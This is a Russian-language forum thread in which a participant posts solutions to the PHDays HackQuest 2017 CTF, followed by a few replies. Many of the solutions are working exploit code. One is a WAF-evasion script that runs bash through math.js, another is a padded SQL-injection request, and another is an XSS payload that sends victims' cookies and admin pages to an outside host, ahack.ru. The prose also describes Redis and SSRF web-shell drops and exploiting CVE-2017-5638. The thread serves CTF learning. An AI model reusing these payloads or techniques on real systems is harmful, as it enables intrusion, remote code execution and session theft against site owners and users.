Старый 17.05.2017, 00:42   #1
Beched
 
Регистрация: 06.07.2010
Сообщений: 395
Репутация: 118
По умолчанию PHDays HackQuest 2017 Write-up

1. https://stack.rosnadzorcom.ru

Исполнение кода в math.js (см. https://capacitorset.github.io/mathjs/). Осложнено WAF’ом. Составляем вектор и итеративно определяем, какие подстроки блокируются фильтром.
Затем пишем рекурсивную процедуру замены слов из плохого списка конкатенацией их подстрок при помощи CONCAT.
Эксплойт:
Код:
import json
import re
import requests

from urllib import quote

bad = ['input','string','proc','/etc','/var','/tmp','conf','/dev','exec','node','modules','close','echo','connection','mods','curl','host','local','http','enable','env','package','func', 'ion', 'file', 'pipe', 'writ', 'io', 'path', 'put']

def enconcat(s):
    for w in bad:
        if w in s:
            z = s.index(w) + 1
            return 'concat(%s,%s)' % (enconcat(s[:z]), enconcat(s[z:]))
    return '"%s"' % s

PAYLOAD += "return spawnSync('/bin/bash',['-c','cat /WAFWAF_exec_jk.txt'])"

z = enconcat(PAYLOAD[0*len(PAYLOAD)/2:len(PAYLOAD)/1])

t = requests.get('https://stack.rosnadzorcom.ru/result?expr=cos.constructor(%s)()' % quote('%s' % z)).text
print t
print ''.join(map(chr, json.loads(t)['stdout']['data']))

2. https://rosnadzorcom.ru/compressed.png

На картинке обфусцированный C-код, который выводит флаг. Перед выводом флага в цикле происходит чтение символов из stdin и какие-то вычисления. Переписываем код и производим его рефакторинг в CLion. Смотрим на условие выхода из цикла и осознаём, что оно в общем-то почти ни от чего не зависит, и можно просто его подделать.
Эксплойт:
Код:
#include <stdio.h>

unsigned *S, some_value, n;
output[55], counter, input_char, end_flag, i;

void ready_result()
{
    end_flag |= (*S != ++counter % 16);
}
void set_value()
{
    *S = 17 - ++counter & 15;
}
void print_row()
{
    printf("%02d%c", *S, ++counter % 4 ? 32 : 10);
}
void callback_exec(int (*g)())
{
    for (end_flag = counter = 0; counter < 16;)
        S = output + counter, g();
}
void print_flag()
{
    printf("%02d", *S ^ counter++);
}

char* q = "Your flag is ";

int main()
{
    callback_exec(set_value);
    for(i = 0; i < 17; ++i) {
        output[i] = (i + 1)%16;
    }
    callback_exec(ready_result);
    callback_exec(print_flag);
    exit(0);

    for (callback_exec(print_row); callback_exec(ready_result), end_flag; input_char = getchar()) {
        if (88 < input_char)
        {
            end_flag = input_char & 4 ? -1 : 1;
            counter = some_value + n * 4;
            S = input_char & 16 ? (input_char = counter + end_flag * 4, &n) : (end_flag *= -1, input_char = counter + end_flag, &some_value);
            if (*S + end_flag < 4) {
                *S += end_flag;
                output[input_char] ^= output[counter] ^= output[input_char] ^= output[counter];
                callback_exec(print_row);
            }
        }
    }
    puts(q);
    callback_exec(print_flag);
    return 0;
}
3. https://rosnadzorcom.ru/1.png

Дана картинка со всякими каракулями, в Stegsolve видим различные узоры в Alpha-каналах, вытаскиваем данные из всех битов Alpha-канала, получаем jj-кодированный JS-код, берём каждый 10й символ (потому что на картинке квадраты 10х10), запускаем и получаем строку из нулей, единиц и двоек.
Заменяем '2' на '\n' и видим, прищурившись, что это QR-код. Декодируем.

4. bonus1 (recon)

Находим флаг в истории выдачи сертификатов на crt.sh: https://crt.sh/?q=%25rosnadzorcom.ru

5. https://block.rosnadzorcom.ru/

Простая SQL-инъекция с WAF'ом. После тыкания осознаём, что WAF эвристический и реагирует на аномалии, разбавляем специальные символы текстом, используем stacked queries (это Postgres) и получаем вектор.
Эксплойт:
Код:
GET /?query=this+is+fucking+loop+this+is+fucking+loop+this+is+fucking+loop+this+is+fucking+loop+this+is+fucking+loop+this+is+fucking+loop+this+is+fucking+loop+this+is+fucking+loop+*/+--this+is+fucking+loop+');SELECT+++++++++++++++++++++++++++++++++++++++++++++*++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++FROM+++++++++++++++++++++++users+++++++++++++++++++++++++++++++++++++++++++++++pizdec++++++++++++++++++++++++++++++++++++++++++++++++++where+++++++++++''+++++++++++++++++++++++++++++++++=+++++++++++++++++++++++++++++++++++++++++''++++++++++++++++;/*this+is+fucking+loop+this+is+fucking+loop+this+is+fucking+loop+this+is+fucking+loop+this+is+fucking+loop+this+is+fucking+loop+this+is+fucking+loop+this+is+fucking+loop+this+is+fucking+loop+this+is+fucking+loop+this+is+fucking+loop+this+is+fucking+loop+this+is+fucking+loop+something+has+to+be+done+here HTTP/1.1
6. https://rosnadzorcom.ru/erawmosnar

Тщательно реверсим Golang-бинарь и осознаём, что это просто проверка хеш-суммы PIN-кода с солью.
Эксплойт:
Код:
import hashlib

salt = 'fede4675fcba53af81a6db94fed5e2fc'#.decode('hex')
want = '6dbb5c0a1dbb785e1b51206338fbb3f696f928bf'.decode('hex')

for i in xrange(1000000000):
    pin = str(i).rjust(9, '0')
    if i % 1000 == 0:
        print pin
    if hashlib.sha1(pin + '\n' + salt).digest() == want:
        print 'FOUND', pin
        quit()
7. bonus4 (recon)

Вбиваем "rosnadzorcom" в гугле и находим флаг в кеше твита.

8. https://ropi.rosnadzorcom.ru

Заливка картинок из файла и по урлу. Пытаемся устроить читалку через симлинки и врапперы zip:// или phar://, ничего не выходит. Через обращение к своему серваку узнаём белый адрес сервака, сканим и находим Redis.
Также белый адрес не защищён WAF'ом, можем дирбастить и находим .git. В исходниках находим пароль от Redis.
Дальше стандартным образом заливаем шелл из Redis через config set dir.

9. https://chat.rosnadzorcom.ru/

Обнаруживаем сорцы в .git, это Nodejs-приложение с ботом, который заходит на страницу чата, где есть наш коммент. XSS в обычном виде нет, но имя параметра, в котором мы передаём сообщение, попадает в атрибут id тега (значение по умолчанию state.message.text).
Интересный код:
Код:
. . .
import { result } from 'lodash';
. . .
export function adminReply(res, html) {
    const $ = cheerio.load(html),
        msg = $('[data-id]'),
        id = msg.data('id'),
        state = result(res, 'state'),
        orig = result(res, id).toString();

    state.reply = {
        id: 'reply',
        type: 'reply',
        orig,
. . .
Метод result из пакета lodash рендерит атрибуты объектов. Таким образом, передаём в имени параметра req.cookies.sid, и админ отвечает нам своим Cookie, с которым мы потом пойдём в админку за флагом.

10. https://anonymizer.rosnadzorcom.ru

Стандартная SSRF-атака на NoSQL-сервер. В качестве цели обнаружено хранилище Aerospike, используем UDF для создания Lua-процедуры, которая дропает веб-шелл, который потом инклудим через path traversal в PHP-скрипте.
Beched вне форума   Ответить с цитированием
Старый 17.05.2017, 00:52   #2
Beched
 
Регистрация: 06.07.2010
Сообщений: 395
Репутация: 118
По умолчанию

11. https://cia.rosnadzorcom.ru

Имеем PHP-страницу без параметров, дирбастом ничего не находим (хотя можно было найти /orders и /vendor), медитируем и думаем, как можно повлиять на страницу. Параметры не нафаззились, куки тоже, юзерагент тоже, X-Forwarded-For и прочие тоже.
Угадываем, что там HTTPoxy. Перехватываем запрос с Basic-auth на страницу /orders.
Там Java-приложение, якобы магазин зиродеев. Осознаём, что тут скорее всего свежий баг CVE-2017-5638, шлём первый попавшийся публичный эксплойт в куке и получаем RCE.

12. https://moderation.rosnadzorcom.ru

Дирбастим /moderator и /admin с 403. В модерке редирект на login.php без exit(), получаем auth bypass.
Это страница модерации картинок, можно репортить URL админу.
На странице обфусцированный JS-код, тщательно его деобфусцируем, расшифровывая зашифрованные строки и подставляя значения вместо обращений к массивам по индексу.
Находим DOM-based XSS с фильтром: значение из location.hash попадает в атрибут src тега iframe. Мы очень ограничены в символах, обходим фильтры сменой регистра, часть нагрузки передаём в атрибуте window.name, загружая страницу в другом iframe на своём сайте.
Произвольный код исполняем путём перезаписи document.body.innerHTML. При этом к объектам нужно обращаться в родительском окне, поскольку код будет исполняться внутри фрейма через javascript-URL.
Также нам нужно обойти редирект в модерке (админ там не авторизован), для этого фаззим параметры страницы и обнаруживаем, что они попадают в Location. Пробуем просунуть \n в имя параметра для получения ошибки в вызове header() и останавливаем редирект.
Эксплойт:
Код:
<script>
f = document.createElement('iframe');
f.src="https://ahack.ru/frame.php";
f.src = "https://moderation.rosnadzorcom.ru/moderator/?a=1%0a2#Javascript:parent.document.body.innerHTML=parent.name//http://.jpg";

PAYLOAD = 'img = new Image();img.src="https://ahack.ru/KUKA?"+document.cookie;'

//PAYLOAD = "var xhr=new XMLHttpRequest();xhr.open('GET','/admin/',true);xhr.onreadystatechange=function(){img=new Image();img.src='https://ahack.ru/ADMINKA?'+escape(this.responseText);};xhr.send();";

f.name = '<img src="https://ahack.ru/PIZDEC1" onerror="eval(atob(\'' + btoa(PAYLOAD) + '\'))">';
document['body'].appendChild(f);
</script>
Beched вне форума   Ответить с цитированием
Старый 17.05.2017, 00:57   #3
Beched
 
Регистрация: 06.07.2010
Сообщений: 395
Репутация: 118
По умолчанию

13. https://rosnadzorcom.ru/FortBoyard.exe

Windows-приложение с рик-роллом, запускаем под strace в wine и видим, что оно дропает w.exe в темпе. Распаковываем w.exe в UPX и тщательно реверсим. Переписываем весь код на Python.
Пробуем решить крякми в angr и z3, осознаём, что это тщетно. Осознаём, что это ни что иное, как самодельная 128-раундовая функция шифрования с двумя s-боксами (второй используется только в 128-м раунде.
Открываем write-up'ы hellman'а по линейному криптоанализу, берём оттуда его скрипты для поиска линейных зависимостей и обнаруживаем 100%-ую зависимость 7-го бита выхода от 7-го бита входа в первом s-боксе.
Осознаём, что эта линейная зависимость выживает в остальных преобразованиях за счёт циклического сдвига ключа при XOR'е. Поскольку ключ 8-байтовый, воздействие ключа нивелируется.
В бинаре есть 32 пары ciphertext-plaintext для проверки ключа. Пишем побайтовый брут ключа с обращением 128-го раунда и дальнейшей проверкой совпадения 7-го бита входа и 7-го бита выхода для каждой из 32 пар.
Эксплойт:
Код:
str_buffer = '''75gbEMLB
E3c98QMl
rhQ5v7qp
5SsP2lbg
kCeZs3gi
Ny29PYdF
GKloIUOp
ejCVdiKV
T8UeM7UU
G37g8IA0
Kccsjo09
BnuEj5Sr
nr2jyP4m
sN2ltUD0
oWnUp5jj
cJJQg2dQ
qaGfxXR5
GSeLODez
zYihllB9
eOglfap7
QIVxWOgF
rWvInEmA
LRIm7Bds
AvGsBGZL
K1W5COqg
WJYNZcWR
c5FHpaUI
okURCwt3
KtmCmarD
sLmlJ1Ac
Sz9RAuuo
TQpqz3yP'''.split('\n')[::-1]


unperm_table = [69, 14, 172, 187, 16, 156, 85, 226, 236, 253, 33, 240, 86, 163, 79, 208, 23, 229, 152, 1, 228, 92, 40, 96, 249, 95, 2, 18, 176, 175, 150, 195, 82, 202, 124, 87, 39, 173, 108, 247, 252, 255, 238, 0, 219, 64, 13, 225, 146, 153, 180, 121, 32, 223, 151, 98, 136, 214, 12, 200, 81, 231, 43, 161, 10, 169, 185, 130, 147, 184, 245, 111, 91, 45, 19, 52, 102, 28, 83, 112, 241, 88, 126, 77, 70, 244, 190, 237, 7, 144, 123, 145, 80, 251, 248, 174, 234, 191, 160, 55, 125, 221, 11, 89, 204, 42, 188, 62, 215, 217, 246, 49, 220, 100, 192, 51, 181, 171, 38, 68, 149, 101, 84, 104, 25, 194, 59, 239, 76, 242, 17, 164, 41, 35, 132, 74, 61, 26, 201, 218, 139, 58, 186, 37, 177, 162, 197, 113, 128, 179, 8, 109, 183, 232, 3, 137, 103, 189, 155, 22, 211, 36, 135, 57, 116, 66, 199, 120, 9, 34, 29, 138, 54, 67, 233, 5, 158, 182, 119, 254, 56, 71, 203, 168, 30, 141, 31, 93, 193, 154, 196, 20, 230, 117, 15, 75, 243, 129, 107, 60, 159, 133, 78, 140, 47, 27, 167, 118, 63, 90, 142, 72, 105, 4, 6, 106, 222, 110, 114, 210, 53, 207, 224, 73, 250, 115, 157, 148, 48, 212, 165, 94, 50, 216, 65, 227, 122, 46, 24, 205, 213, 166, 178, 235, 131, 206, 170, 198, 127, 134, 21, 209, 143, 99, 44, 97]
unperm_table_1 = [140, 17, 163, 115, 61, 161, 122, 187, 144, 77, 18, 34, 224, 108, 15, 55, 9, 92, 247, 194, 101, 229, 226, 159, 89, 165, 223, 75, 145, 109, 170, 215, 112, 65, 190, 230, 193, 216, 143, 94, 129, 84, 167, 47, 53, 220, 123, 127, 56, 41, 119, 238, 205, 4, 35, 135, 72, 233, 14, 39, 213, 36, 251, 23, 125, 208, 126, 178, 120, 88, 182, 90, 197, 136, 158, 46, 116, 81, 186, 254, 32, 49, 31, 86, 221, 68, 139, 59, 85, 173, 130, 6, 132, 60, 250, 231, 192, 253, 95, 155, 5, 248, 27, 162, 137, 196, 154, 222, 64, 184, 43, 191, 124, 249, 38, 211, 45, 204, 175, 70, 80, 201, 22, 142, 105, 121, 210, 227, 217, 156, 203, 110, 25, 252, 103, 102, 153, 57, 166, 243, 164, 13, 67, 207, 37, 133, 71, 235, 48, 21, 218, 87, 176, 225, 74, 214, 149, 236, 198, 3, 244, 20, 199, 79, 16, 93, 50, 134, 8, 100, 63, 11, 152, 168, 91, 107, 128, 245, 54, 219, 189, 69, 111, 255, 104, 209, 246, 151, 76, 169, 30, 234, 52, 113, 118, 242, 180, 73, 239, 66, 0, 240, 195, 26, 181, 24, 147, 146, 212, 44, 150, 10, 96, 148, 174, 2, 185, 28, 78, 206, 160, 33, 106, 42, 1, 141, 131, 62, 241, 177, 171, 51, 40, 12, 179, 114, 97, 188, 19, 99, 232, 117, 98, 7, 172, 237, 83, 202, 157, 200, 82, 183, 228, 29, 58, 138]

base = 0x401e00
t = open('w_unpacked.exe', 'rb').read()
def getbuf(o, n):
  return map(ord, t[o - base:o - base + n])

byte_4030A0 = getbuf(0x4030a0, 256)
perm_table_1 = getbuf(0x4031a0, 256)
perm_table = getbuf(0x4032a0, 256)
byte_4033A0 = getbuf(0x4033a0, 64)
buf_one_to_8 = getbuf(0x4033e0, 8)
buf_one_to_8_1 = getbuf(0x4033e8, 8)
byte_4033F0 = getbuf(0x4033f0, 64)
byte_403430 = getbuf(0x403430, 256)
byte_403530 = getbuf(0x403530, 256)

def encrypt_func(plaintext, serial):
  result = list(plaintext)
  v5 = 0
  v6 = False
  while v5 <= 128:
    v7 = perm_table_1
    if v5 == 128:
      v7 = perm_table
    result[0] = v7[result[0]]
    result[1] = v7[result[1]]
    result[2] = v7[result[2]]
    result[3] = v7[result[3]]
    result[4] = v7[result[4]]
    result[5] = v7[result[5]]
    result[6] = v7[result[6]]
    result[7] = v7[result[7]]
    result[0] ^= serial[v5 % 8] ^ buf_one_to_8_1[v5 % 8]
    result[1] ^= serial[(v5 + 1) % 8] ^ buf_one_to_8[(v5 + 1) % 8]
    result[2] ^= serial[(v5 + 2) % 8] ^ buf_one_to_8[(v5 + 2) % 8]
    result[3] ^= serial[(v5 + 3) % 8] ^ buf_one_to_8[(v5 + 3) % 8]
    result[4] ^= serial[(v5 + 4) % 8] ^ buf_one_to_8[(v5 + 4) % 8]
    result[5] ^= serial[(v5 + 5) % 8] ^ buf_one_to_8[(v5 + 5) % 8]
    result[6] ^= serial[(v5 + 6) % 8] ^ buf_one_to_8[(v5 + 6) % 8]
    result[7] ^= serial[(v5 + 7) % 8] ^ buf_one_to_8[(v5 + 7) % 8]
    if v5 < 128:
      v9 = result[1]
      v10 = result[0]
      result[0] = v9 ^ (v9 ^ result[0]) & 0xF
      v11 = v9 ^ result[2]
      v12 = result[2]
      result[1] = v12 ^ v11 & 0xF
      v13 = v12 ^ result[3]
      v14 = result[3]
      result[2] = v14 ^ v13 & 0xF
      v15 = v14 ^ result[4]
      v16 = result[4]
      result[3] = v16 ^ v15 & 0xF
      v17 = v16 ^ result[5]
      v18 = result[5]
      result[4] = v18 ^ v17 & 0xF
      v19 = v18 ^ result[6]
      v20 = result[6]
      result[5] = v20 ^ v19 & 0xF
      result[6] = result[7] ^ (v20 ^ result[7]) & 0xF
      result[7] = v10 & 0xF0 | result[7] & 0xF
    v5 += 1
  return result


def flag_func(serial):
  idx = 0
  while idx < 64:
    v2 = byte_4033A0[idx + 1]
    byte_4033F0[idx] = byte_4033A0[idx]
    v3 = byte_4033A0[idx + 2]
    byte_4033F0[idx + 1] = v2
    v4 = byte_4033A0[idx + 3]
    byte_4033F0[idx + 2] = v3
    v5 = byte_4033A0[idx + 4]
    byte_4033F0[idx + 3] = v4
    v6 = byte_4033A0[idx + 5]
    byte_4033F0[idx + 4] = v5
    v7 = byte_4033A0[idx + 6]
    byte_4033F0[idx + 5] = v6
    v8 = byte_4033A0[idx + 7]
    byte_4033F0[idx + 6] = v7
    byte_4033F0[idx + 7] = v8
    v9 = 128
    while v9 >= 0:
      if v9 < 128:
        v10 = byte_4033F0[idx + 6]
        v11 = byte_4033F0[idx + 7]
        byte_4033F0[idx + 7] = v10 ^ (v10 ^ byte_4033F0[idx + 7]) & 0xF
        v12 = v10 ^ byte_4033F0[idx + 5]
        v13 = byte_4033F0[idx + 5]
        byte_4033F0[idx + 6] = v13 ^ v12 & 0xF
        v14 = v13 ^ byte_4033F0[idx + 4]
        v15 = byte_4033F0[idx + 4]
        byte_4033F0[idx + 5] = v15 ^ v14 & 0xF
        v16 = v15 ^ byte_4033F0[idx + 3]
        v17 = byte_4033F0[idx + 3]
        byte_4033F0[idx + 4] = v17 ^ v16 & 0xF
        v18 = v17 ^ byte_4033F0[idx + 2]
        v19 = byte_4033F0[idx + 2]
        byte_4033F0[idx + 3] = v19 ^ v18 & 0xF
        v20 = v19 ^ byte_4033F0[idx + 1]
        v21 = byte_4033F0[idx + 1]
        byte_4033F0[idx + 2] = v21 ^ v20 & 0xF
        byte_4033F0[idx + 1] = byte_4033F0[idx] ^ (v21 ^ byte_4033F0[idx]) & 0xF
        byte_4033F0[idx] = v11 & 0xF0 | byte_4033F0[idx] & 0xF
      byte_4033F0[idx] ^= buf_one_to_8_1[v9 % 8] ^ serial[v9 % 8]
      byte_4033F0[idx + 1] ^= buf_one_to_8_1[(v9 + 1) % 8] ^ serial[(v9 + 1) % 8]
      byte_4033F0[idx + 2] ^= buf_one_to_8_1[(v9 + 2) % 8] ^ serial[(v9 + 2) % 8]
      byte_4033F0[idx + 3] ^= buf_one_to_8_1[(v9 + 3) % 8] ^ serial[(v9 + 3) % 8]
      byte_4033F0[idx + 4] ^= buf_one_to_8_1[(v9 + 4) % 8] ^ serial[(v9 + 4) % 8]
      byte_4033F0[idx + 5] ^= buf_one_to_8_1[(v9 + 5) % 8] ^ serial[(v9 + 5) % 8]
      byte_4033F0[idx + 6] ^= buf_one_to_8_1[(v9 + 6) % 8] ^ serial[(v9 + 6) % 8]
      byte_4033F0[idx + 7] ^= buf_one_to_8_1[(v9 + 7) % 8] ^ serial[(v9 + 7) % 8]
      v22 = byte_4033F0[idx]
      if v9 == 128:
        v23 = unperm_table[v22]
        v24 = byte_4033F0[idx  +1]
        byte_4033F0[idx] = v23
        v25 = unperm_table[v24]
        v26 = byte_4033F0[idx + 2]
        byte_4033F0[idx + 1] = v25
        v27 = unperm_table[v26]
        v28 = byte_4033F0[idx + 3]
        byte_4033F0[idx + 2] = v27
        v29 = unperm_table[v28]
        v30 = byte_4033F0[idx + 4]
        byte_4033F0[idx + 3] = v29
        v31 = unperm_table[v30]
        v32 = byte_4033F0[idx + 5]
        byte_4033F0[idx + 4] = v31
        v33 = unperm_table[v32]
        v34 = byte_4033F0[idx + 6]
        byte_4033F0[idx + 5] = v33
        v35 = unperm_table[v34]
        v36 = byte_4033F0[idx + 7]
        byte_4033F0[idx + 6] = v35
        v37 = unperm_table[v36]
      else:
        v38 = unperm_table_1[v22]
        v39 = byte_4033F0[idx + 1]
        byte_4033F0[idx] = v38
        v40 = unperm_table_1[v39]
        v41 = byte_4033F0[idx + 2]
        byte_4033F0[idx + 1] = v40
        v42 = unperm_table_1[v41]
        v43 = byte_4033F0[idx + 3]
        byte_4033F0[idx + 2] = v42
        v44 = unperm_table_1[v43]
        v45 = byte_4033F0[idx + 4]
        byte_4033F0[idx + 3] = v44
        v46 = unperm_table_1[v45]
        v47 = byte_4033F0[idx + 5]
        byte_4033F0[idx + 4] = v46
        v48 = unperm_table_1[v47]
        v49 = byte_4033F0[idx + 6]
        byte_4033F0[idx + 5] = v48
        v50 = unperm_table_1[v49]
        v51 = byte_4033F0[idx + 7]
        byte_4033F0[idx + 6] = v50
        v37 = unperm_table_1[v51]
      v9 -= 1
      byte_4033F0[idx + 7] = v37
    idx += 8
  return byte_4033F0

def decrypt_func(ciphertext, serial):
  result = list(ciphertext)
  v9 = 128
  while v9 >= 0:
    if v9 < 128:
      v10 = result[6]
      v11 = result[7]
      result[7] = v10 ^ (v10 ^ result[7]) & 0xF
      v12 = v10 ^ result[5]
      v13 = result[5]
      result[6] = v13 ^ v12 & 0xF
      v14 = v13 ^ result[4]
      v15 = result[4]
      result[5] = v15 ^ v14 & 0xF
      v16 = v15 ^ result[3]
      v17 = result[3]
      result[4] = v17 ^ v16 & 0xF
      v18 = v17 ^ result[2]
      v19 = result[2]
      result[3] = v19 ^ v18 & 0xF
      v20 = v19 ^ result[1]
      v21 = result[1]
      result[2] = v21 ^ v20 & 0xF
      result[1] = result[0] ^ (v21 ^ result[0]) & 0xF
      result[0] = v11 & 0xF0 | result[0] & 0xF
    result[0] ^= buf_one_to_8_1[v9 % 8] ^ serial[v9 % 8]
    result[1] ^= buf_one_to_8_1[(v9 + 1) % 8] ^ serial[(v9 + 1) % 8]
    result[2] ^= buf_one_to_8_1[(v9 + 2) % 8] ^ serial[(v9 + 2) % 8]
    result[3] ^= buf_one_to_8_1[(v9 + 3) % 8] ^ serial[(v9 + 3) % 8]
    result[4] ^= buf_one_to_8_1[(v9 + 4) % 8] ^ serial[(v9 + 4) % 8]
    result[5] ^= buf_one_to_8_1[(v9 + 5) % 8] ^ serial[(v9 + 5) % 8]
    result[6] ^= buf_one_to_8_1[(v9 + 6) % 8] ^ serial[(v9 + 6) % 8]
    result[7] ^= buf_one_to_8_1[(v9 + 7) % 8] ^ serial[(v9 + 7) % 8]
    v22 = result[0]
    if v9 == 128:
      v23 = unperm_table[v22]
      v24 = result[1]
      result[0] = v23
      v25 = unperm_table[v24]
      v26 = result[2]
      result[1] = v25
      v27 = unperm_table[v26]
      v28 = result[3]
      result[2] = v27
      v29 = unperm_table[v28]
      v30 = result[4]
      result[3] = v29
      v31 = unperm_table[v30]
      v32 = result[5]
      result[4] = v31
      v33 = unperm_table[v32]
      v34 = result[6]
      result[5] = v33
      v35 = unperm_table[v34]
      v36 = result[7]
      result[6] = v35
      v37 = unperm_table[v36]
    else:
      v38 = unperm_table_1[v22]
      v39 = result[1]
      result[0] = v38
      v40 = unperm_table_1[v39]
      v41 = result[2]
      result[1] = v40
      v42 = unperm_table_1[v41]
      v43 = result[3]
      result[2] = v42
      v44 = unperm_table_1[v43]
      v45 = result[4]
      result[3] = v44
      v46 = unperm_table_1[v45]
      v47 = result[5]
      result[4] = v46
      v48 = unperm_table_1[v47]
      v49 = result[6]
      result[5] = v48
      v50 = unperm_table_1[v49]
      v51 = result[7]
      result[6] = v50
      v37 = unperm_table_1[v51]
    v9 -= 1
    result[7] = v37
  return result



def encrypt_127_func(plaintext, serial):
  result = list(plaintext)
  v5 = 0
  v6 = False
  while v5 < 128:
    v7 = perm_table_1
    result[0] = v7[result[0]]
    result[1] = v7[result[1]]
    result[2] = v7[result[2]]
    result[3] = v7[result[3]]
    result[4] = v7[result[4]]
    result[5] = v7[result[5]]
    result[6] = v7[result[6]]
    result[7] = v7[result[7]]
    result[0] ^= serial[v5 % 8] ^ buf_one_to_8_1[v5 % 8]
    result[1] ^= serial[(v5 + 1) % 8] ^ buf_one_to_8[(v5 + 1) % 8]
    result[2] ^= serial[(v5 + 2) % 8] ^ buf_one_to_8[(v5 + 2) % 8]
    result[3] ^= serial[(v5 + 3) % 8] ^ buf_one_to_8[(v5 + 3) % 8]
    result[4] ^= serial[(v5 + 4) % 8] ^ buf_one_to_8[(v5 + 4) % 8]
    result[5] ^= serial[(v5 + 5) % 8] ^ buf_one_to_8[(v5 + 5) % 8]
    result[6] ^= serial[(v5 + 6) % 8] ^ buf_one_to_8[(v5 + 6) % 8]
    result[7] ^= serial[(v5 + 7) % 8] ^ buf_one_to_8[(v5 + 7) % 8]
    if v5 < 128:
      v9 = result[1]
      v10 = result[0]
      result[0] = v9 ^ (v9 ^ result[0]) & 0xF
      v11 = v9 ^ result[2]
      v12 = result[2]
      result[1] = v12 ^ v11 & 0xF
      v13 = v12 ^ result[3]
      v14 = result[3]
      result[2] = v14 ^ v13 & 0xF
      v15 = v14 ^ result[4]
      v16 = result[4]
      result[3] = v16 ^ v15 & 0xF
      v17 = v16 ^ result[5]
      v18 = result[5]
      result[4] = v18 ^ v17 & 0xF
      v19 = v18 ^ result[6]
      v20 = result[6]
      result[5] = v20 ^ v19 & 0xF
      result[6] = result[7] ^ (v20 ^ result[7]) & 0xF
      result[7] = v10 & 0xF0 | result[7] & 0xF
    v5 += 1
  return result

def check_serial(serial, a1):
  unperm_table = [0] * 256
  unperm_table_1 = [0] * 256
  #copy_serial = map(ord,serial)
  copy_serial = serial
  for v3 in xrange(256):
    unperm_table_1[perm_table_1[v3]] = v3
  for v4 in xrange(256):
    unperm_table[perm_table[v4]] = v4
  good_buffer = [[byte_4030A0[j] for j in xrange(i, i+8)]for i in xrange(0, 256, 8)]
  for i in xrange(len(good_buffer)):
    result_buffer = encrypt_func(map(ord,str_buffer[i]), copy_serial)
    for v7 in xrange(8):
      if result_buffer[v7] != good_buffer[i][v7]:
        return False
  flag_func(copy_serial)
  return True

'''for v3 in xrange(256):
  unperm_table_1[perm_table_1[v3]] = v3
for v4 in xrange(256):
  unperm_table[perm_table[v4]] = v4
#'''

good_buffer = [[byte_4030A0[j] for j in xrange(i, i+8)]for i in xrange(0, 256, 8)]

### CRYPTANALYSIS ###

for i in xrange(32):
  str_buffer[i] = map(ord, str_buffer[i])
key = ''
for i in xrange(8): # key byte index
  for v in xrange(256): # key byte value
    flag = True
    for k in xrange(32): # each pair
      result = good_buffer[k][i] ^ (i + 1) ^ v
      result = unperm_table[result] & 0b0000010
      if result != str_buffer[k][i] & 0b0000010:
        flag = False
        break
    if flag:
      key += chr(v)
      print 'FOUND byte %s: %s' % (i, chr(v))
print 'KEY', key

print ''.join(map(chr, flag_func(map(ord, key))))
Beched вне форума   Ответить с цитированием
Старый 17.05.2017, 01:00   #4
Beched
 
Регистрация: 06.07.2010
Сообщений: 395
Репутация: 118
По умолчанию

14. http://beta.rosnadzorcom.ru/

Дефолтная установка WP с раскрытиями путей, но без самописа и иных багов. Долго медитируем и осознаём, что админ мог оставить дефолтный виртхост. Проверяем путь /wordpress/wp-config.php с хостом localhost и получаем конфиг.
В конфиге берём ключи для подписи кук и пытаемся брутить 4 байта хеша админа, тщетно.
Далее видим упоминание там тестового хоста MySQL white2fan.rosnadzorcom.ru. Долго мучаемся, потому что резолвится адрес 127.0.0.1.
В конце концов узнаём, что Linux по умолчанию не делает AAAA-запросы при nslookup и обнаруживаем, что у хоста есть IPv6-адрес.
Заходим в MySQL по IPv6 и забираем флаг.

Последний раз редактировалось Beched; 17.05.2017 в 01:08..
Beched вне форума   Ответить с цитированием
Старый 17.05.2017, 11:44   #5
crlf
 
Аватар для crlf
 
Регистрация: 29.09.2015
Сообщений: 101
Репутация: 17
По умолчанию

So easy

Цитата:
Долго медитируем и осознаём, что админ мог оставить дефолтный виртхост. Проверяем путь /wordpress/wp-config.php с хостом localhost и получаем конфиг.
Можно более подробно? Каким образом вываливается конфиг?
crlf вне форума   Ответить с цитированием
Старый 17.05.2017, 22:45   #6
sT1myL
 
Регистрация: 09.07.2014
Сообщений: 14
Репутация: 1
По умолчанию

Молодец блечед, так держать.
sT1myL вне форума   Ответить с цитированием
Старый 18.05.2017, 13:39   #7
Beched
 
Регистрация: 06.07.2010
Сообщений: 395
Репутация: 118
По умолчанию

Цитата:
Сообщение от crlf Посмотреть сообщение
So easy



Можно более подробно? Каким образом вываливается конфиг?

Плейнтекстом. Docroot дефолтного виртхоста -- /usr/share/nginx/www
Docroot виртхоста с вп и настроенным пхп -- /usr/share/nginx/www/wordpress
Таким образом, из дефолтного виртхоста можно читать файлы виртхоста с вп, причём пхп не настроен, поэтому видно сорцы.
Beched вне форума   Ответить с цитированием
Старый 23.05.2017, 14:14   #8
winner13
 
Регистрация: 16.09.2011
Сообщений: 4
Репутация: 0
По умолчанию

Круто особенно с форд боярдом, хороший криптоанализ.

п.с. Поделишься инструментарием с эникейщиками? Говорят на PHDays HackQuest 2017 самый круто инструментарий был у рДот.

Код:
Вот неполный (!) список их инструментов: диверсионное ПО для заражения АСУ ТП, 0day-эксплойты под браузеры и веб-приложения, фемтосоты и фреймворки для OTA-эксплуатации, радары и усилители радиосигнала, скиммеры и RFID-программаторы для подделки смарт-карт и банковских карт, атомно-силовые микроскопы и химическая лаборатория для анализа чипов, IoT-ботнеты для организации DDoS-атак, приборы ночного видения и телескопы для наблюдения за мониторами соперников, сертифицированное forensic-оборудование для DMA-атак, побитового копирования жестких дисков и восстановления данных, EFI-бэкдоры для заражения устройств соперников и инфраструктуры, оборудование для обнаружения и декодирования побочного электро-магнитного излучения и снятия информации по акустическим каналам, ASIC- и GPU-фермы для атак по перебору хеш-сумм, кластер машин на Amazon для организации фаззинга по исходникам и без и для массового сканирования, резисторы и мультиметры для атак класса differential power analysis, а также различные трояны и программно-аппаратные средства по их доставке, такие как связки эксплойтов, вредоносные устройства USB и PCI-E.
winner13 вне форума   Ответить с цитированием
Старый 25.05.2017, 09:09   #9
Dr.Strangelove
 
Аватар для Dr.Strangelove
 
Регистрация: 05.03.2016
Сообщений: 10
Репутация: 0
По умолчанию

Beched, даёшь видео HackQuest 2017!!
Dr.Strangelove вне форума   Ответить с цитированием
Старый 13.07.2017, 21:24   #10
nullbyte
 
Регистрация: 13.07.2017
Сообщений: 1
Репутация: 0
